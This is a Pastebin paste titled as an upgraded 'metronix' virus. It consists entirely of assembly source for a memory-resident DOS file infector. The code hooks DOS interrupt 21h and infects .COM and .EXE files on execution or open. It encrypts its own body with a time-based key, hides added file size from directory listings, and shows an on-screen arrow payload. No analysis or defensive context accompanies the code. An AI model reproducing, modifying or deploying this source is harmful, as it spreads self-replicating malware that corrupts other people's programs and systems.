emS-St1ks

metronix ASM virus by st1ks upgrade

Jun 15th, 2012
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; metronix.asm : [metronix] St1ks
  2. ;  by St1ks modify metronix upgrade
  3.  
  4. PING            equ     0AE3Bh
  5. PONG            equ     0CD28h
  6. STAMP           equ     30
  7. MARKER          equ     04D4Dh
  8.  
  9. code            segment
  10.                 org     0
  11.                 assume  cs:code,ds:code
  12.  
  13. start:
  14.                 db      0E9h,3,0          ; to virus
  15. host:
  16.                 db      0CDh,20h,0        ; host program
  17. virus_begin:
  18.  
  19.                 db      0BBh                    ; decryption module
  20. code_offset     dw      offset virus_code
  21.                 mov     dx,VIRUS_SIZE / 2 + 1
  22.  
  23. decrypt:
  24.                 db      02Eh,081h,07h           ; ADD CS:[BX]
  25. cipher          dw      0
  26.                 inc     bx
  27.                 inc     bx
  28.                 dec     dx
  29.                 jnz     decrypt
  30.  
  31.  
  32. virus_code:
  33.                 call    $ + 3             ; BP is instruction ptr.
  34.                 pop     bp
  35.                 sub     bp,offset $ - 1
  36.  
  37.                 push    ds es
  38.  
  39.                 mov     ax,PING           ; test for residency
  40.                 int     21h
  41.                 cmp     bx,PONG
  42.                 je      installed
  43.  
  44.                 mov     ax,es                   ; Get PSP
  45.                 dec     ax
  46.                 mov     ds,ax                   ; Get MCB
  47.  
  48.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  49.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  50.                 mov     es,word ptr ds:[12h]
  51.  
  52.                 push    cs                      ; copy virus into memory
  53.                 pop     ds
  54.                 xor     di,di
  55.                 mov     si,bp
  56.                 mov     cx,(virus_end - start) / 2 + 1
  57.                 rep     movsw
  58.  
  59.                 xor     ax,ax                   ; capture interrupts
  60.                 mov     ds,ax
  61.  
  62.                 sub     word ptr ds:[413h],(MEM_SIZE+1023) / 1024
  63.  
  64.                 mov     si,21h * 4              ; get original int 21
  65.                 mov     di,offset old_int_21
  66.                 movsw
  67.                 movsw
  68.  
  69.                 mov     word ptr ds:[si - 4],offset new_int_21
  70.                 mov     ds:[si - 2],es          ; and set new int 21
  71.  
  72. installed:
  73.                 call    activate                ; activation routine
  74.  
  75.                 pop     es ds                   ; restore segregs
  76.                 cmp     sp,MARKER               ; check for .EXE
  77.                 je      exe_exit
  78.  
  79. com_exit:
  80.                 lea     si,[bp + host]          ; restore host program
  81.                 mov     di,100h
  82.                 push    di
  83.                 movsw
  84.                 movsb
  85.  
  86.                 call    fix_regs                ; fix up registers
  87.                 ret                             ; and leave
  88. exe_exit:
  89.                 mov     ax,ds                   ; fix up return address
  90.                 add     ax,10h
  91.                 add     ax,cs:[bp + exe_cs]
  92.                 mov     cs:[bp + return_cs],ax
  93.  
  94.                 mov     ax,cs:[bp + exe_ip]
  95.                 mov     cs:[bp + return_ip],ax
  96.                 mov     sp,[bp + exe_sp]        ; restore SP
  97.  
  98.                 call    fix_regs                ; fix up registers
  99.                 db      0EAh                    ; back to host program
  100. return_ip       dw      0
  101. return_cs       dw      0
  102.  
  103. exe_cs          dw      -16                     ; orig CS:IP
  104. exe_ip          dw      103h
  105. exe_sp          dw      -2                      ; orig SP
  106.  
  107. fix_regs:
  108.                 xor     ax,ax
  109.                 cwd
  110.                 xor     bx,bx
  111.                 mov     si,100h
  112.                 xor     di,di
  113.                 ret
  114.  
  115. ; interrupt 21 handler
  116. int_21:
  117.                 pushf
  118.                 call    dword ptr cs:[old_int_21]
  119.                 ret
  120.  
  121. new_int_21:
  122.                 cmp     ax,PING                 ; residency test
  123.                 je      ping_pong
  124.                 cmp     ax,4B00h                ; execute program
  125.                 je      execute
  126.                 cmp     ah,3Dh                  ; file open
  127.                 je      file_open
  128.                 cmp     ah,11h                  ; directory stealth
  129.                 je      dir_stealth
  130.                 cmp     ah,12h
  131.                 je      dir_stealth
  132. int_21_exit:
  133.                 db      0EAh                    ; never mind ...
  134. old_int_21      dd      0
  135.  
  136. ping_pong:
  137.                 mov     bx,PONG
  138.                 iret
  139.  
  140. dir_stealth:
  141.                 call    int_21                  ; get dir entry
  142.                 test    al,al
  143.                 js      dir_stealth_done
  144.  
  145.                 push    ax bx es
  146.                 mov     ah,2Fh
  147.                 int     21h
  148.  
  149.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  150.                 jne     no_ext_FCB
  151.                 add     bx,7
  152. no_ext_FCB:
  153.                 mov     ax,es:[bx + 17h]        ; check for infection marker
  154.                 and     al,31
  155.                 cmp     al,STAMP
  156.                 jne     dir_fixed
  157.  
  158.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
  159.                 sbb     word ptr es:[bx + 1Fh],0
  160. dir_fixed:
  161.                 pop     es bx ax
  162. dir_stealth_done:
  163.                 iret
  164.  
  165. file_open:
  166.                 push    ax cx di es
  167.                 call    get_extension
  168.                 cmp     [di],'OC'               ; .COM file?
  169.                 jne     perhaps_exe             ; perhaps .EXE then
  170.                 cmp     byte ptr [di + 2],'M'
  171.                 jne     not_prog
  172.                 jmp     a_program
  173. perhaps_exe:
  174.                 cmp     [di],'XE'               ; .EXE file?
  175.                 jne     not_prog
  176.                 cmp     byte ptr [di + 2],'E'
  177.                 jne     not_prog
  178. a_program:
  179.                 pop     es di cx ax
  180.                 jmp     execute                 ; infect file
  181. not_prog:
  182.                 pop     es di cx ax
  183.                 jmp     int_21_exit
  184.  
  185. execute:
  186.                 push    ax bx cx dx si di ds es
  187.  
  188.                 xor     ax,ax                   ; critical error handler
  189.                 mov     es,ax                   ; routine - catch int 24
  190.                 mov     es:[24h * 4],offset int_24
  191.                 mov     es:[24h * 4 + 2],cs
  192.  
  193.                 mov     ax,4300h                ; change attributes
  194.                 int     21h
  195.  
  196.                 push    cx dx ds
  197.                 xor     cx,cx
  198.                 call    set_attributes
  199.  
  200.                 mov     ax,3D02h                ; open file
  201.                 call    int_21
  202.                 jc      cant_open
  203.                 xchg    bx,ax
  204.                 push    cs                      ; CS = DS
  205.                 pop     ds
  206.  
  207.                 mov     ax,5700h                ; save file date/time
  208.                 int     21h
  209.                 push    cx dx
  210.                 mov     ah,3Fh
  211.                 mov     cx,28
  212.                 mov     dx,offset read_buffer
  213.                 int     21h
  214.  
  215.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  216.                 je      infect_exe              ; yes, infect as .EXE
  217.  
  218.                 mov     al,2                    ; move to end of file
  219.                 call    move_file_ptr
  220.  
  221.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  222.                 ja      dont_infect             ; too big, don't infect
  223.  
  224.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  225.                 cmp     dx,word ptr read_buffer + 1
  226.                 je      dont_infect
  227.  
  228.                 add     dx,VIRUS_SIZE + 3
  229.                 mov     word ptr new_jump + 1,dx
  230.  
  231.                 add     dx,103h
  232.                 call    encrypt_code            ; encrypt virus
  233.  
  234.                 mov     dx,offset read_buffer   ; save original program head
  235.                 int     21h
  236.                 mov     ah,40h                  ; write virus to file
  237.                 mov     cx,VIRUS_SIZE
  238.                 mov     dx,offset encrypt_buffer
  239.                 int     21h
  240.  
  241.                 xor     al,al                   ; back to beginning of file
  242.                 call    move_file_ptr
  243.  
  244.                 mov     dx,offset new_jump      ; and write new jump
  245.                 int     21h
  246.  
  247. fix_date_time:
  248.                 pop     dx cx
  249.                 and     cl,-32                  ; add time stamp
  250.                 or      cl,STAMP                ; for directory stealth
  251.                 mov     ax,5701h                ; restore file date/time
  252.                 int     21h
  253.  
  254. close:
  255.                 pop     ds dx cx                ; restore attributes
  256.                 call    set_attributes
  257.  
  258.                 mov     ah,3Eh                  ; close file
  259.                 int     21h
  260.  
  261. cant_open:
  262.                 pop     es ds di si dx cx bx ax
  263.                 jmp     int_21_exit             ; leave
  264.  
  265.  
  266. set_attributes:
  267.                 mov     ax,4301h
  268.                 int     21h
  269.                 ret
  270.  
  271. dont_infect:
  272.                 pop     cx dx                   ; can't infect, skip
  273.                 jmp     close
  274.  
  275. move_file_ptr:
  276.                 mov     ah,42h                  ; move file pointer
  277.                 cwd
  278.                 xor     cx,cx
  279.                 int     21h
  280.  
  281.                 mov     dx,ax                   ; set up registers
  282.                 mov     ah,40h
  283.                 mov     cx,3
  284.                 ret
  285. infect_exe:
  286.                 cmp     word ptr read_buffer[26],0
  287.                 jne     dont_infect             ; overlay, don't infect
  288.  
  289.                 cmp     word ptr read_buffer[16],MARKER
  290.                 je      dont_infect             ; infected already
  291.  
  292.                 les     ax,dword ptr read_buffer[20]
  293.                 mov     exe_cs,es               ; CS
  294.                 mov     exe_ip,ax               ; IP
  295.  
  296.                 mov     ax,word ptr read_buffer[16]
  297.                 mov     exe_sp,ax               ; SP
  298.                 mov     word ptr read_buffer[16],MARKER
  299.                 mov     ax,4202h                ; to end of file
  300.                 cwd
  301.                 xor     cx,cx
  302.                 int     21h
  303.  
  304.                 push    ax dx                   ; save file size
  305.  
  306.                 push    bx
  307.                 mov     cl,12                   ; calculate offsets for CS
  308.                 shl     dx,cl                   ; and IP
  309.                 mov     bx,ax
  310.                 mov     cl,4
  311.                 shr     bx,cl
  312.                 add     dx,bx
  313.                 and     ax,15
  314.                 pop     bx
  315.  
  316.                 sub     dx,word ptr read_buffer[8]
  317.                 mov     word ptr read_buffer[22],dx
  318.                 mov     word ptr read_buffer[20],ax
  319.  
  320.                 pop     dx ax                   ; calculate prog size
  321.  
  322.                 add     ax,VIRUS_SIZE + 3
  323.                 adc     dx,0
  324.                 mov     cx,512                  ; in pages
  325.                 div     cx                      ; then save results
  326.                 inc     ax
  327.                 mov     word ptr read_buffer[2],dx
  328.                 mov     word ptr read_buffer[4],ax
  329.                 mov     dx,word ptr read_buffer[20]
  330.                 call    encrypt_code            ; encrypt virus
  331.  
  332.  
  333.                 mov     ah,40h
  334.                 mov     cx,VIRUS_SIZE + 3
  335.                 mov     dx,offset encrypt_buffer
  336.                 int     21h
  337.  
  338.  
  339.                 mov     ax,4200h                ; back to beginning
  340.                 cwd
  341.                 xor     cx,cx
  342.                 int     21h
  343.  
  344.                 mov     ah,40h                  ; and fix up header
  345.                 mov     cx,28
  346.                 mov     dx,offset read_buffer
  347.                 int     21h
  348.                 jmp     fix_date_time           ; done
  349.  
  350. courtesy_of     db      '[BW]',0
  351. signature       db      '[Archer] MnemoniX `94',0
  352.  
  353. activate:
  354.                 xor     ah,ah                   ; get system time
  355.                 int     1Ah
  356.                 cmp     dl,0F1h
  357.                 jb      no_activate
  358.  
  359.                 mov     ah,0Fh                  ; get display page
  360.                 int     10h
  361.  
  362.                 mov     al,dl                   ; random number, 0-15
  363.                 and     al,15
  364.  
  365.                 mov     ah,3                    ; activating - get cursor
  366.                 int     10h                     ; position and save
  367.                 push    dx
  368.  
  369.                 mov     dh,al                   ; set cursor at random
  370.                 xor     dl,dl                   ; row, column 1
  371.                 mov     ah,2
  372.                 int     10h
  373.  
  374.                 mov     di,79
  375.                 mov     cx,1
  376.  
  377. arrow:
  378.                 mov     ax,91Ah                 ; print arrow and erase
  379.                 mov     bl,10                   ; 79 times
  380.                 int     10h
  381.  
  382.                 push    cx                      ; time delay
  383.                 mov     cx,-200
  384.                 rep     lodsb
  385.                 pop     cx
  386.  
  387.                 mov     ah,2
  388.                 mov     dl,' '
  389.                 int     21h
  390.  
  391.                 dec     di
  392.                 jnz     arrow
  393.  
  394.                 pop     dx                      ; reset cursor
  395.                 mov     ah,2
  396.                 int     10h                     ; and we're done
  397.  
  398. no_activate:
  399.                 ret
  400.  
  401. get_extension:
  402.                 push    ds                      ; find extension
  403.                 pop     es
  404.                 mov     di,dx
  405.                 mov     cx,64
  406.                 mov     al,'.'
  407.                 repnz   scasb
  408.                 ret
  409.  
  410. encrypt_code:
  411.                 push    ax cx
  412.  
  413.                 push    dx
  414.                 xor     ah,ah                   ; get time for random number
  415.                 int     1Ah
  416.  
  417.                 mov     cipher,dx               ; save encryption key
  418.                 pop     cx
  419.                 add     cx,virus_code - virus_begin
  420.                 mov     code_offset,cx          ; save code offset
  421.  
  422.                 push    cs                      ; ES = CS
  423.                 pop     es
  424.  
  425.                 mov     si,offset virus_begin   ; move decryption module
  426.                 mov     di,offset encrypt_buffer
  427.                 mov     cx,virus_code - virus_begin
  428.                 rep     movsb
  429.  
  430.                 mov     cx,VIRUS_SIZE / 2 + 1
  431. encrypt:
  432.                 lodsw                           ; encrypt virus code
  433.                 sub     ax,dx
  434.                 stosw
  435.                 loop    encrypt
  436.  
  437.                 pop     cx ax
  438.                 ret
  439.  
  440. int_24:
  441.                 mov     al,3                    ; int 24 handler
  442.                 iret
  443. new_jump        db      0E9h,0,0
  444.  
  445. virus_end:
  446. VIRUS_SIZE      equ     virus_end - virus_begin
  447. read_buffer     db      28 dup (?)              ; read buffer
  448. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  449.  
  450. end_heap:
  451.  
  452. MEM_SIZE        equ     end_heap - start
  453.  
  454. code            ends
  455.                 end     start
Advertisement
Add Comment
Please, Sign In to add comment